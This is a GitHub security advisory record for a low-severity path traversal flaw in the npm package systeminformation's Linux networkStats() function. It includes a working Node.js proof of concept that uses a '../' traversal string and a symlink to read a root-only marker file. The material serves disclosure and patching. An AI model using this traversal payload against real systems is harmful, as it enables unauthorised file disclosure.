{"id":"GHSA-4vjg-vx72-qq4g","summary":"systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net","details":"### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n'use strict';\n\nconst fs = require('node:fs');\nconst { execFileSync } = require('node:child_process');\nconst si = require('systeminformation');\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n  const fs = require('node:fs');\n  const root = process.env.SI_FIXTURE_ROOT;\n  const secret = process.env.SI_SECRET;\n  fs.mkdirSync(root + '/statistics', { recursive: true });\n  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {\n    fs.writeFileSync(root + '/statistics/' + name, '0\\\\n');\n  }\n  fs.symlinkSync(secret, root + '/operstate');\n`;\n\n(async () =\u003e {\n  try {\n    fs.writeFileSync(secret, marker + '\\\\n', { mode: 0o600 });\n    fs.chmodSync(secret, 0o600);\n\n    execFileSync('runuser', [\n      '-u', 'nobody', '--', 'env',\n      `SI_FIXTURE_ROOT=${root}`,\n      `SI_SECRET=${secret}`,\n      process.execPath, '-e', fixtureCode\n    ], { stdio: 'inherit' });\n\n    let nobodyCouldRead = true;\n    try {\n      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });\n    } catch {\n      nobodyCouldRead = false;\n    }\n    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');\n\n    const iface = '../'.repeat(24) + root.slice(1);\n    const rows = await si.networkStats(iface);\n    const returned = String(rows[0]?.operstate ?? '').trim();\n    const success = returned === marker;\n\n    console.log(JSON.stringify({\n      nobodyCouldRead,\n      libraryReturnedRootOnlyMarker: success,\n      returnedOperstate: returned\n    }, null, 2));\n\n    if (!success) process.exitCode = 1;\n  } finally {\n    fs.rmSync(root, { recursive: true, force: true });\n    fs.rmSync(secret, { force: true });\n  }\n})().catch((error) =\u003e {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n  \"nobodyCouldRead\": false,\n  \"libraryReturnedRootOnlyMarker\": true,\n  \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.","aliases":["CVE-2026-116673"],"modified":"2026-10-28T21:30:05.793647178Z","published":"2026-10-28T21:13:50Z","database_specific":{"nvd_published_at":"2026-10-27T17:16:59Z","cwe_ids":["CWE-22","CWE-59"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:13:50Z"},"references":[{"type":"WEB","url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116673"},{"type":"WEB","url":"https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd"},{"type":"PACKAGE","url":"https://github.com/sebhildebrandt/systeminformation"},{"type":"WEB","url":"https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14"}],"affected":[{"package":{"name":"systeminformation","ecosystem":"npm","purl":"pkg:npm/systeminformation"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.33.14"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4vjg-vx72-qq4g/GHSA-4vjg-vx72-qq4g.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}